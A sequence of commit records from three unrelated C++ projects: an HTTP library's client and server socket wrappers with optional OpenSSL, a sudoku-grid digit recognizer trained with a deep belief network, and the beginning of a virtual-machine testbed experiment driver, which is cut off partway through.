memset(&_SockAddr, 0, sizeof(struct addrinfo));
_SockAddr.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */
_SockAddr.ai_socktype = SOCK_STREAM; /* Datagram socket */
_SockAddr.ai_flags = AI_PASSIVE; /* For wildcard IP address */
_SockAddr.ai_protocol = 0; /* Any protocol */
_SockAddr.ai_canonname = NULL;
_SockAddr.ai_addr = NULL;
_SockAddr.ai_next = NULL;
int s = getaddrinfo(addr, port_buffer, &_SockAddr, &result);
if (s != 0) {
_httpexception.Cirtical("getaddrinfo failed ", gai_strerror(s));
throw _httpexception;
}
/* getaddrinfo() returns a list of address structures.
Try each address until we successfully bind(2).
If socket(2) (or bind(2)) fails, we (close the socket
and) try the next address. */
for (rp = result; rp != NULL; rp = rp->ai_next) {
_Socket = socket(rp->ai_family, rp->ai_socktype,rp->ai_protocol);
if (_Socket == -1)
continue;
#ifndef Windows
int optval = 1;
setsockopt(_Socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
#else
BOOL bOptVal = TRUE;
int bOptLen = sizeof(BOOL);
setsockopt(_Socket, SOL_SOCKET, SO_REUSEADDR, (const char *)&bOptVal, bOptLen);
#endif
if (bind(_Socket, rp->ai_addr, rp->ai_addrlen) == 0)
break; /* Success */
#ifdef Windows
closesocket(_Socket);
#else
close(_Socket);
#endif
}
if (rp == NULL) { /* No address succeeded */
_httpexception.Cirtical("Could not bind\n");
throw _httpexception;
}
freeaddrinfo(result);
}
libhttppp::ServerSocket::~ServerSocket(){
#ifndef Windows
if(_UXSocketAddr)
unlink(_UXSocketAddr->sun_path);
#endif
delete[] _Addr;
}
void libhttppp::ServerSocket::setnonblocking(){
#ifndef Windows
fcntl(_Socket, F_SETFL, O_NONBLOCK);
#else
u_long bmode=1;
ioctlsocket(_Socket,FIONBIO,&bmode);
#endif
}
void libhttppp::ServerSocket::listenSocket(){
if(listen(_Socket, _Maxconnections) < 0){
_httpexception.Cirtical("Can't listen Server Socket", errno);
throw _httpexception;
}
}
#ifndef Windows
int libhttppp::ServerSocket::getSocket(){
return _Socket;
}
#else
SOCKET libhttppp::ServerSocket::getSocket(){
return _Socket;
}
#endif
int libhttppp::ServerSocket::getMaxconnections(){
return _Maxconnections;
}
#ifndef Windows
int libhttppp::ServerSocket::acceptEvent(ClientSocket *clientsocket){
#else
SOCKET libhttppp::ServerSocket::acceptEvent(ClientSocket *clientsocket){
#endif
clientsocket->_ClientAddrLen=sizeof(clientsocket);
#ifndef Windows
int socket = accept(_Socket,(struct sockaddr *)&clientsocket->_ClientAddr, &clientsocket->_ClientAddrLen);
#else
SOCKET socket = accept(_Socket,(struct sockaddr *)&clientsocket->_ClientAddr, &clientsocket->_ClientAddrLen);
#endif
if(socket==-1){
#ifdef Linux
char errbuf[255];
_httpexception.Error("Can't accept on Socket",strerror_r(errno, errbuf, 255));
#else
char errbuf[255];
strerror_r(errno, errbuf, 255);
_httpexception.Error("Can't accept on Socket",errbuf);
#endif
}
clientsocket->_Socket=socket;
if(isSSLTrue()){
clientsocket->_SSL = SSL_new(_CTX);
SSL_set_fd(clientsocket->_SSL, socket);
if (SSL_accept(clientsocket->_SSL) <= 0) {
ERR_print_errors_fp(stderr);
return -1;
}
}
return socket;
}
ssize_t libhttppp::ServerSocket::sendData(ClientSocket* socket, void* data, size_t size){
return sendData(socket,data,size,0);
}
ssize_t libhttppp::ServerSocket::sendData(ClientSocket* socket, void* data, size_t size,int flags){
#ifndef Windows
ssize_t rval=0;
#else
int rval=0;
#endif
if(isSSLTrue()){
rval=SSL_write(socket->_SSL,data,size);
}else{
#ifndef Windows
rval=sendto(socket->getSocket(),data, size,flags,&socket->_ClientAddr, socket->_ClientAddrLen);
#else
rval=sendto(socket->getSocket(),(const char*) data, (int)size,flags,&socket->_ClientAddr, socket->_ClientAddrLen);
#endif
}
if(rval==-1){
#ifdef Linux
char errbuf[255];
_httpexception.Error(strerror_r(errno,errbuf,255));
#else
char errbuf[255];
strerror_r(errno,errbuf,255);
_httpexception.Error(errbuf);
#endif
if(errno != EAGAIN)
throw _httpexception;
}
return rval;
}
ssize_t libhttppp::ServerSocket::recvData(ClientSocket* socket, void* data, size_t size){
return recvData(socket,data,size,0);
}
ssize_t libhttppp::ServerSocket::recvData(ClientSocket* socket, void* data, size_t size,int flags){
ssize_t recvsize=0;
if(isSSLTrue()){
recvsize=SSL_read(socket->_SSL,data,size);
}else{
#ifndef Windows
recvsize=recvfrom(socket->getSocket(),data, size,flags,
&socket->_ClientAddr, &socket->_ClientAddrLen);
#else
recvsize=recvfrom(socket->getSocket(), (char*)data,(int)size,flags,
&socket->_ClientAddr, &socket->_ClientAddrLen);
#endif
}
if(recvsize==-1){
#ifdef Linux
char errbuf[255];
_httpexception.Error(strerror_r(errno,errbuf,255));
#else
char errbuf[255];
strerror_r(errno,errbuf,255);
_httpexception.Error(errbuf);
#endif
throw _httpexception;
}
return recvsize;
}
<commit_msg>fixed uxaddr set as null if not set<commit_after>/*******************************************************************************
Copyright (c) 2014, Jan Koester jan.koester@gmx.net
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the <organization> nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*******************************************************************************/
#include "socket.h"
#ifndef Windows
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/fcntl.h>
#else
#include <Windows.h>
#endif
#include <sys/types.h>
#include <algorithm>
#include <cstring>
#include <config.h>
#include <errno.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/x509.h>
libhttppp::ClientSocket::ClientSocket(){
#ifdef Windows
_Socket= INVALID_SOCKET;
#else
_Socket = 0;
#endif
_SSL=NULL;
}
libhttppp::ClientSocket::~ClientSocket(){
shutdown(_Socket,
#ifndef Windows
SHUT_RDWR
#else
SD_BOTH
#endif
);
SSL_free(_SSL);
}
void libhttppp::ClientSocket::setnonblocking(){
#ifndef Windows
fcntl(_Socket, F_SETFL, O_NONBLOCK);
#else
u_long bmode=1;
ioctlsocket(_Socket,FIONBIO,&bmode);
#endif
}
#ifndef Windows
int libhttppp::ClientSocket::getSocket(){
#else
SOCKET libhttppp::ClientSocket::getSocket(){
#endif
return _Socket;
}
#ifndef Windows
void libhttppp::ClientSocket::setSocket(int socket) {
#else
void libhttppp::ClientSocket::setSocket(SOCKET socket) {
#endif
_Socket=socket;
}
#ifndef Windows
libhttppp::ServerSocket::ServerSocket(const char* uxsocket,int maxconnections){
int optval = 1;
_Maxconnections=maxconnections;
_UXSocketAddr = new sockaddr_un;
_UXSocketAddr->sun_family = AF_UNIX;
try {
std::copy(uxsocket,uxsocket+strlen(uxsocket),_UXSocketAddr->sun_path);
}catch(...){
_httpexception.Cirtical("Can't copy Server UnixSocket");
throw _httpexception;
}
if ((_Socket = socket(AF_LOCAL, SOCK_STREAM, 0)) < 0){
_httpexception.Cirtical("Can't create Socket UnixSocket");
throw _httpexception;
}
setsockopt(_Socket,SOL_SOCKET,SO_REUSEADDR,&optval, sizeof(optval));
if (bind(_Socket, (struct sockaddr *)_UXSocketAddr, sizeof(struct sockaddr)) < 0){
#ifdef Linux
char errbuf[255];
_httpexception.Error("Can't bind Server UnixSocket",
strerror_r(errno, errbuf, 255));
#else
char errbuf[255];
strerror_r(errno, errbuf, 255);
_httpexception.Error("Can't bind Server UnixSocket",errbuf);
#endif
throw _httpexception;
}
}
#endif
#ifdef Windows
libhttppp::ServerSocket::ServerSocket(SOCKET socket) {
#else
libhttppp::ServerSocket::ServerSocket(int socket) {
#endif
_Socket = socket;
_Maxconnections = MAXDEFAULTCONN;
_Addr = NULL;
#ifndef Windows
_UXSocketAddr = NULL;
#endif
}
libhttppp::ServerSocket::ServerSocket(const char* addr, int port,int maxconnections){
_Maxconnections=maxconnections;
#ifdef Windows
int iResult;
WSADATA wsaData;
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (iResult != 0) {
_httpexception.Cirtical("WSAStartup failed");
}
#else
_UXSocketAddr = NULL;
#endif
char port_buffer[6];
snprintf(port_buffer,6, "%hu", port);
struct addrinfo *result, *rp;
memset(&_SockAddr, 0, sizeof(struct addrinfo));
_SockAddr.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */
_SockAddr.ai_socktype = SOCK_STREAM; /* Datagram socket */
_SockAddr.ai_flags = AI_PASSIVE; /* For wildcard IP address */
_SockAddr.ai_protocol = 0; /* Any protocol */
_SockAddr.ai_canonname = NULL;
_SockAddr.ai_addr = NULL;
_SockAddr.ai_next = NULL;
int s = getaddrinfo(addr, port_buffer, &_SockAddr, &result);
if (s != 0) {
_httpexception.Cirtical("getaddrinfo failed ", gai_strerror(s));
throw _httpexception;
}
/* getaddrinfo() returns a list of address structures.
Try each address until we successfully bind(2).
If socket(2) (or bind(2)) fails, we (close the socket
and) try the next address. */
for (rp = result; rp != NULL; rp = rp->ai_next) {
_Socket = socket(rp->ai_family, rp->ai_socktype,rp->ai_protocol);
if (_Socket == -1)
continue;
#ifndef Windows
int optval = 1;
setsockopt(_Socket, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
#else
BOOL bOptVal = TRUE;
int bOptLen = sizeof(BOOL);
setsockopt(_Socket, SOL_SOCKET, SO_REUSEADDR, (const char *)&bOptVal, bOptLen);
#endif
if (bind(_Socket, rp->ai_addr, rp->ai_addrlen) == 0)
break; /* Success */
#ifdef Windows
closesocket(_Socket);
#else
close(_Socket);
#endif
}
if (rp == NULL) { /* No address succeeded */
_httpexception.Cirtical("Could not bind\n");
throw _httpexception;
}
freeaddrinfo(result);
}
libhttppp::ServerSocket::~ServerSocket(){
#ifndef Windows
if(_UXSocketAddr)
unlink(_UXSocketAddr->sun_path);
#endif
delete[] _Addr;
}
void libhttppp::ServerSocket::setnonblocking(){
#ifndef Windows
fcntl(_Socket, F_SETFL, O_NONBLOCK);
#else
u_long bmode=1;
ioctlsocket(_Socket,FIONBIO,&bmode);
#endif
}
void libhttppp::ServerSocket::listenSocket(){
if(listen(_Socket, _Maxconnections) < 0){
_httpexception.Cirtical("Can't listen Server Socket", errno);
throw _httpexception;
}
}
#ifndef Windows
int libhttppp::ServerSocket::getSocket(){
return _Socket;
}
#else
SOCKET libhttppp::ServerSocket::getSocket(){
return _Socket;
}
#endif
int libhttppp::ServerSocket::getMaxconnections(){
return _Maxconnections;
}
#ifndef Windows
int libhttppp::ServerSocket::acceptEvent(ClientSocket *clientsocket){
#else
SOCKET libhttppp::ServerSocket::acceptEvent(ClientSocket *clientsocket){
#endif
clientsocket->_ClientAddrLen=sizeof(clientsocket);
#ifndef Windows
int socket = accept(_Socket,(struct sockaddr *)&clientsocket->_ClientAddr, &clientsocket->_ClientAddrLen);
#else
SOCKET socket = accept(_Socket,(struct sockaddr *)&clientsocket->_ClientAddr, &clientsocket->_ClientAddrLen);
#endif
if(socket==-1){
#ifdef Linux
char errbuf[255];
_httpexception.Error("Can't accept on Socket",strerror_r(errno, errbuf, 255));
#else
char errbuf[255];
strerror_r(errno, errbuf, 255);
_httpexception.Error("Can't accept on Socket",errbuf);
#endif
}
clientsocket->_Socket=socket;
if(isSSLTrue()){
clientsocket->_SSL = SSL_new(_CTX);
SSL_set_fd(clientsocket->_SSL, socket);
if (SSL_accept(clientsocket->_SSL) <= 0) {
ERR_print_errors_fp(stderr);
return -1;
}
}
return socket;
}
ssize_t libhttppp::ServerSocket::sendData(ClientSocket* socket, void* data, size_t size){
return sendData(socket,data,size,0);
}
ssize_t libhttppp::ServerSocket::sendData(ClientSocket* socket, void* data, size_t size,int flags){
#ifndef Windows
ssize_t rval=0;
#else
int rval=0;
#endif
if(isSSLTrue()){
rval=SSL_write(socket->_SSL,data,size);
}else{
#ifndef Windows
rval=sendto(socket->getSocket(),data, size,flags,&socket->_ClientAddr, socket->_ClientAddrLen);
#else
rval=sendto(socket->getSocket(),(const char*) data, (int)size,flags,&socket->_ClientAddr, socket->_ClientAddrLen);
#endif
}
if(rval==-1){
#ifdef Linux
char errbuf[255];
_httpexception.Error(strerror_r(errno,errbuf,255));
#else
char errbuf[255];
strerror_r(errno,errbuf,255);
_httpexception.Error(errbuf);
#endif
if(errno != EAGAIN)
throw _httpexception;
}
return rval;
}
ssize_t libhttppp::ServerSocket::recvData(ClientSocket* socket, void* data, size_t size){
return recvData(socket,data,size,0);
}
ssize_t libhttppp::ServerSocket::recvData(ClientSocket* socket, void* data, size_t size,int flags){
ssize_t recvsize=0;
if(isSSLTrue()){
recvsize=SSL_read(socket->_SSL,data,size);
}else{
#ifndef Windows
recvsize=recvfrom(socket->getSocket(),data, size,flags,
&socket->_ClientAddr, &socket->_ClientAddrLen);
#else
recvsize=recvfrom(socket->getSocket(), (char*)data,(int)size,flags,
&socket->_ClientAddr, &socket->_ClientAddrLen);
#endif
}
if(recvsize==-1){
#ifdef Linux
char errbuf[255];
_httpexception.Error(strerror_r(errno,errbuf,255));
#else
char errbuf[255];
strerror_r(errno,errbuf,255);
_httpexception.Error(errbuf);
#endif
throw _httpexception;
}
return recvsize;
}
<|endoftext|> |
<commit_before>#include <opencv2/opencv.hpp>
#include <iostream>
#include "dbn/dbn.hpp"
#include "dbn/layer.hpp"
#include "dbn/conf.hpp"
#include "dbn/labels.hpp"
#include "dbn/test.hpp"
#include "detector.hpp"
#include "data.hpp"
int main(int argc, char** argv ){
if(argc < 2){
std::cout << "Usage: sudoku <command> <options>" << std::endl;
return -1;
}
std::string command(argv[1]);
if(command == "detect"){
if(argc < 3){
std::cout << "Usage: sudoku detect <image>..." << std::endl;
return -1;
}
if(argc == 3){
std::string image_source_path(argv[2]);
auto source_image = cv::imread(image_source_path.c_str(), 1);
if (!source_image.data){
std::cout << "Invalid source_image" << std::endl;
return -1;
}
cv::Mat dest_image;
auto cells = detect_grid(source_image, dest_image);
split(source_image, dest_image, cells);
cv::namedWindow("Sudoku Grid", cv::WINDOW_AUTOSIZE);
cv::imshow("Sudoku Grid", dest_image);
cv::waitKey(0);
} else {
for(size_t i = 2; i < static_cast<size_t>(argc); ++i){
std::string image_source_path(argv[i]);
std::cout << image_source_path << std::endl;
auto source_image = cv::imread(image_source_path.c_str(), 1);
if (!source_image.data){
std::cout << "Invalid source_image" << std::endl;
continue;
}
cv::Mat dest_image;
auto cells = detect_grid(source_image, dest_image);
split(source_image, dest_image, cells);
image_source_path.insert(image_source_path.rfind('.'), ".lines");
imwrite(image_source_path.c_str(), dest_image);
}
}
} else if(command == "train"){
typedef dbn::dbn<
dbn::layer<dbn::conf<true, 100, true, true>, CELL_SIZE * CELL_SIZE, 100>,
//dbn::layer<dbn::conf<true, 100, false, true>, 300, 300>,
dbn::layer<dbn::conf<true, 100, false, true>, 100, 100>,
dbn::layer<dbn::conf<true, 100, false, true, true, dbn::Type::EXP>, 100, 10>> dbn_t;
auto dbn = std::make_unique<dbn_t>();
std::vector<vector<double>> training_images;
std::vector<uint8_t> training_labels;
for(size_t i = 2; i < static_cast<size_t>(argc); ++i){
std::string image_source_path(argv[i]);
std::cout << image_source_path << std::endl;
auto source_image = cv::imread(image_source_path.c_str(), 1);
if (!source_image.data){
std::cout << "Invalid source_image" << std::endl;
continue;
}
auto data = read_data(image_source_path);
for(size_t i = 0; i < 9; ++i){
for(size_t j = 0; j < 9; ++j){
training_labels.push_back(data.results[i][j]);
}
}
cv::Mat dest_image;
auto cells = detect_grid(source_image, dest_image);
auto mats = split(source_image, dest_image, cells);
for(auto& mat : mats){
vector<double> image(CELL_SIZE * CELL_SIZE);
for(size_t i = 0; i < static_cast<size_t>(mat.rows); ++i){
for(size_t j = 0; j < static_cast<size_t>(mat.cols); ++j){
auto value_c = mat.at<unsigned char>(i, j);
double value_d;
if(value_c == 255){
value_d = 0.0;
} else {
assert(value_c == 0);
value_d = 1.0;
}
image[i * mat.cols + j] = value_d;
}
}
training_images.emplace_back(std::move(image));
}
}
assert(training_labels.size() == training_images.size());
auto labels = dbn::make_fake(training_labels);
dbn->display();
std::cout << "Start pretraining" << std::endl;
dbn->pretrain(training_images, 5);
std::cout << "Start fine-tuning" << std::endl;
dbn->fine_tune(training_images, labels, 5, 1000);
std::ofstream os("dbn.dat", std::ofstream::binary);
dbn->store(os);
auto error_rate = dbn::test_set(dbn, training_images, training_labels, dbn::predictor());
std::cout << "\tError rate (normal): " << 100.0 * error_rate << std::endl;
} else {
std::cout << "Invalid command \"" << command << "\"" << std::endl;
return -1;
}
return 0;
}<commit_msg>Cleanup<commit_after>#include <opencv2/opencv.hpp>
#include <iostream>
#include "dbn/dbn.hpp"
#include "dbn/layer.hpp"
#include "dbn/conf.hpp"
#include "dbn/labels.hpp"
#include "dbn/test.hpp"
#include "detector.hpp"
#include "data.hpp"
int main(int argc, char** argv ){
if(argc < 2){
std::cout << "Usage: sudoku <command> <options>" << std::endl;
return -1;
}
std::string command(argv[1]);
if(command == "detect"){
if(argc < 3){
std::cout << "Usage: sudoku detect <image>..." << std::endl;
return -1;
}
if(argc == 3){
std::string image_source_path(argv[2]);
auto source_image = cv::imread(image_source_path.c_str(), 1);
if (!source_image.data){
std::cout << "Invalid source_image" << std::endl;
return -1;
}
cv::Mat dest_image;
auto cells = detect_grid(source_image, dest_image);
split(source_image, dest_image, cells);
cv::namedWindow("Sudoku Grid", cv::WINDOW_AUTOSIZE);
cv::imshow("Sudoku Grid", dest_image);
cv::waitKey(0);
} else {
for(size_t i = 2; i < static_cast<size_t>(argc); ++i){
std::string image_source_path(argv[i]);
std::cout << image_source_path << std::endl;
auto source_image = cv::imread(image_source_path.c_str(), 1);
if (!source_image.data){
std::cout << "Invalid source_image" << std::endl;
continue;
}
cv::Mat dest_image;
auto cells = detect_grid(source_image, dest_image);
split(source_image, dest_image, cells);
image_source_path.insert(image_source_path.rfind('.'), ".lines");
imwrite(image_source_path.c_str(), dest_image);
}
}
} else if(command == "train"){
std::vector<vector<double>> training_images;
std::vector<uint8_t> training_labels;
for(size_t i = 2; i < static_cast<size_t>(argc); ++i){
std::string image_source_path(argv[i]);
std::cout << image_source_path << std::endl;
auto source_image = cv::imread(image_source_path.c_str(), 1);
if (!source_image.data){
std::cout << "Invalid source_image" << std::endl;
continue;
}
auto data = read_data(image_source_path);
for(size_t i = 0; i < 9; ++i){
for(size_t j = 0; j < 9; ++j){
training_labels.push_back(data.results[i][j]);
}
}
cv::Mat dest_image;
auto cells = detect_grid(source_image, dest_image);
auto mats = split(source_image, dest_image, cells);
for(auto& mat : mats){
vector<double> image(CELL_SIZE * CELL_SIZE);
for(size_t i = 0; i < static_cast<size_t>(mat.rows); ++i){
for(size_t j = 0; j < static_cast<size_t>(mat.cols); ++j){
auto value_c = mat.at<unsigned char>(i, j);
double value_d;
if(value_c == 255){
value_d = 0.0;
} else {
assert(value_c == 0);
value_d = 1.0;
}
image[i * mat.cols + j] = value_d;
}
}
training_images.emplace_back(std::move(image));
}
}
assert(training_labels.size() == training_images.size());
auto labels = dbn::make_fake(training_labels);
typedef dbn::dbn<
dbn::layer<dbn::conf<true, 50, true, true>, CELL_SIZE * CELL_SIZE, 100>,
//dbn::layer<dbn::conf<true, 50, false, true>, 300, 300>,
dbn::layer<dbn::conf<true, 50, false, true>, 100, 100>,
dbn::layer<dbn::conf<true, 50, false, true, true, dbn::Type::EXP>, 100, 10>> dbn_t;
auto dbn = std::make_unique<dbn_t>();
dbn->display();
std::cout << "Start pretraining" << std::endl;
dbn->pretrain(training_images, 5);
std::cout << "Start fine-tuning" << std::endl;
dbn->fine_tune(training_images, labels, 5, 1000);
std::ofstream os("dbn.dat", std::ofstream::binary);
dbn->store(os);
auto error_rate = dbn::test_set(dbn, training_images, training_labels, dbn::predictor());
std::cout << "\tError rate (normal): " << 100.0 * error_rate << std::endl;
} else {
std::cout << "Invalid command \"" << command << "\"" << std::endl;
return -1;
}
return 0;
}<|endoftext|> |
<commit_before>/**
* \file sysexp.hpp
*
* \brief Driver for performing system experiments
*
* \author Marco Guazzone (marco.guazzone@gmail.com)
*
* <hr/>
*
* Copyright (C) 2012 Marco Guazzone
* [Distributed Computing System (DCS) Group,
* Computer Science Institute,
* Department of Science and Technological Innovation,
* University of Piemonte Orientale,
* Alessandria (Italy)]
*
* This file is part of dcsxx-testbed.
*
* dcsxx-testbed is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* dcsxx-testbed is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with dcsxx-testbed. If not, see <http://www.gnu.org/licenses/>.
*/
#include <boost/numeric/ublas/banded.hpp>
#include <boost/smart_ptr.hpp>
#include <cstddef>
#include <cstdlib>
#include <cstring>
#include <dcs/cli.hpp>
#include <dcs/debug.hpp>
#include <dcs/logging.hpp>
#include <dcs/math/traits/float.hpp>
#include <dcs/testbed/application.hpp>
#include <dcs/testbed/application_managers.hpp>
#include <dcs/testbed/base_application.hpp>
#include <dcs/testbed/system_experiment.hpp>
#include <dcs/testbed/system_identification_strategies.hpp>
//#include <dcs/testbed/system_managers.hpp>
#include <dcs/testbed/traits.hpp>
#include <dcs/testbed/virtual_machine_managers.hpp>
#include <dcs/testbed/virtual_machines.hpp>
#include <dcs/testbed/workload_category.hpp>
#include <dcs/testbed/workload_drivers.hpp>
#include <dcs/testbed/workload_generator_category.hpp>
#include <iostream>
#include <limits>
#include <sstream>
#include <string>
#include <stdexcept>
#include <vector>
namespace detail { namespace /*<unnamed>*/ {
//enum aggregation_category
//{
// mean_aggregation
//};
const dcs::testbed::workload_category default_workload(dcs::testbed::olio_workload);
const dcs::testbed::workload_generator_category default_workload_driver(dcs::testbed::rain_workload_generator);
const ::std::string default_workload_driver_rain_path("/usr/local/opt/rain-workload-toolkit");
const ::std::string default_out_dat_file("./sysmgt-out.dat");
const double default_sampling_time(10);
const double default_ewma_smooth_factor(0.9);
void usage(char const* progname)
{
::std::cerr << "Usage: " << progname << " [options]" << ::std::endl
<< " --help" << ::std::endl
<< " Show this message." << ::std::endl
<< " --out-dat-file <file path>" << ::std::endl
<< " The path to the output data file." << ::std::endl
<< " [default: '" << default_out_dat_file << "']." << ::std::endl
<< " --ts <time in secs>" << ::std::endl
<< " Sampling time (in seconds)." << ::std::endl
<< " [default: " << default_sampling_time << "]." << ::std::endl
<< " --verbose" << ::std::endl
<< " Show verbose messages." << ::std::endl
<< " [default: disabled]." << ::std::endl
<< " --vm-uri <URI>" << ::std::endl
<< " The VM URI to connect." << ::std::endl
<< " Repeat this option as many times as is the number of your VMs."
<< " --wkl <name>" << ::std::endl
<< " The workload to generate. Possible values are: 'olio', 'rubis'." << ::std::endl
<< " [default: '" << default_workload << "']." << ::std::endl
<< " --wkl-driver <name>" << ::std::endl
<< " The workload driver to use. Possible values are: 'rain'." << ::std::endl
<< " [default: '" << default_workload_driver << "']." << ::std::endl
<< " --wkl-driver-rain-path <name>" << ::std::endl
<< " The full path to the RAIN workload driver." << ::std::endl
<< " [default: '" << default_workload_driver_rain_path << "']." << ::std::endl
<< ::std::endl;
}
template <typename RealT>
struct rt_slo_checker
{
rt_slo_checker(RealT max_val, RealT rel_tol=0.05)
: max_val_(max_val),
check_val_(max_val_*(1+rel_tol))
{
}
bool operator()(RealT val)
{
return ::dcs::math::float_traits<RealT>::approximately_less_equal(val, check_val_);
}
private: RealT max_val_;
private: RealT check_val_;
};
}} // Namespace detail::<unnamed>
int main(int argc, char *argv[])
{
namespace testbed = ::dcs::testbed;
namespace ublas = ::boost::numeric::ublas;
typedef double real_type;
typedef unsigned int uint_type;
typedef testbed::traits<real_type,uint_type> traits_type;
bool help(false);
std::string out_dat_file;
real_type ts;
bool verbose(false);
testbed::workload_category wkl;
testbed::workload_generator_category wkl_driver;
std::string wkl_driver_rain_path;
std::vector<std::string> vm_uris;
// Parse command line options
try
{
help = dcs::cli::simple::get_option(argv, argv+argc, "--help");
out_dat_file = dcs::cli::simple::get_option<std::string>(argv, argv+argc, "--out-dat-file", detail::default_out_dat_file);
ts = dcs::cli::simple::get_option<real_type>(argv, argv+argc, "--ts", detail::default_sampling_time);
verbose = dcs::cli::simple::get_option(argv, argv+argc, "--verbose");
vm_uris = dcs::cli::simple::get_options<std::string>(argv, argv+argc, "--vm-uri");
wkl = dcs::cli::simple::get_option<testbed::workload_category>(argv, argv+argc, "--wkl", detail::default_workload);
wkl_driver = dcs::cli::simple::get_option<testbed::workload_generator_category>(argv, argv+argc, "--wkl-driver", detail::default_workload_driver);
wkl_driver_rain_path = dcs::cli::simple::get_option<std::string>(argv, argv+argc, "--wkl-driver-rain-path", detail::default_workload_driver_rain_path);
}
catch (std::exception const& e)
{
std::ostringstream oss;
oss << "Error while parsing command-line options: " << e.what();
dcs::log_error(DCS_LOGGING_AT, oss.str());
detail::usage(argv[0]);
std::abort();
return EXIT_FAILURE;
}
if (help)
{
detail::usage(argv[0]);
return EXIT_SUCCESS;
}
int ret(0);
if (verbose)
{
std::ostringstream oss;
for (std::size_t i = 0; i < vm_uris.size(); ++i)
{
if (i > 0)
{
oss << ", ";
}
oss << "VM URI: " << vm_uris[i];
}
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Output data file: " << out_dat_file;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Sampling time: " << ts;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Workload: " << wkl;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Workload driver: " << wkl_driver;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
oss << "Workload driver RAIN path: " << wkl_driver_rain_path;
dcs::log_info(DCS_LOGGING_AT, oss.str());
oss.str("");
}
typedef testbed::base_virtual_machine<traits_type> vm_type;
typedef boost::shared_ptr<vm_type> vm_pointer;
typedef vm_type::identifier_type vm_identifier_type;
typedef testbed::base_virtual_machine_manager<traits_type> vmm_type;
typedef boost::shared_ptr<vmm_type> vmm_pointer;
typedef vmm_type::identifier_type vmm_identifier_type;
typedef testbed::base_application<traits_type> app_type;
typedef boost::shared_ptr<app_type> app_pointer;
typedef testbed::base_application_manager<traits_type> app_manager_type;
typedef boost::shared_ptr<app_manager_type> app_manager_pointer;
typedef testbed::base_workload_driver<traits_type> app_driver_type;
typedef boost::shared_ptr<app_driver_type> app_driver_pointer;
typedef testbed::base_arx_system_identification_strategy<traits_type> sysid_strategy_type;
typedef boost::shared_ptr<sysid_strategy_type> sysid_strategy_pointer;
try
{
const std::size_t nt(vm_uris.size()); // Number of tiers
testbed::system_experiment<traits_type> sys_exp;
// Setup application experiment
// - Setup application (and VMs)
std::map<vmm_identifier_type,vmm_pointer> vmm_map;
std::vector<vm_pointer> vms;
std::vector<std::string>::const_iterator uri_end_it(vm_uris.end());
for (std::vector<std::string>::const_iterator it = vm_uris.begin();
it != uri_end_it;
++it)
{
std::string const& uri(*it);
vmm_pointer p_vmm;
if (!vmm_map.count(uri) > 0)
{
p_vmm = boost::make_shared< testbed::libvirt::virtual_machine_manager<traits_type> >(uri);
vmm_map[uri] = p_vmm;
}
else
{
p_vmm = vmm_map.at(uri);
}
vm_pointer p_vm(p_vmm->vm(uri));
// check: p_vm != null
DCS_DEBUG_ASSERT( p_vm );
vms.push_back(p_vm);
}
app_pointer p_app = boost::make_shared< testbed::application<traits_type> >(vms.begin(), vms.end());
p_app->slo(testbed::response_time_application_performance, detail::rt_slo_checker<real_type>(0.2870));
// - Setup workload driver
app_driver_pointer p_drv;
switch (wkl_driver)
{
case testbed::rain_workload_generator:
{
boost::shared_ptr< testbed::rain::workload_driver<traits_type> > p_drv_impl = boost::make_shared< testbed::rain::workload_driver<traits_type> >(wkl, wkl_driver_rain_path);
p_app->register_sensor(testbed::response_time_application_performance, p_drv_impl->sensor(testbed::response_time_application_performance));
//p_drv = boost::make_shared< testbed::rain::workload_driver<traits_type> >(drv_impl);
p_drv = p_drv_impl;
}
break;
}
p_drv->app(p_app);
// - Setup application manager
app_manager_pointer p_mgr;
//p_mgr = boost::make_shared< testbed::lqry_application_manager<traits_type> >();
{
const std::size_t na(2);
const std::size_t nb(2);
const std::size_t nk(1);
const std::size_t ny(1);
const std::size_t nu(nt);
const real_type ff(0.98);
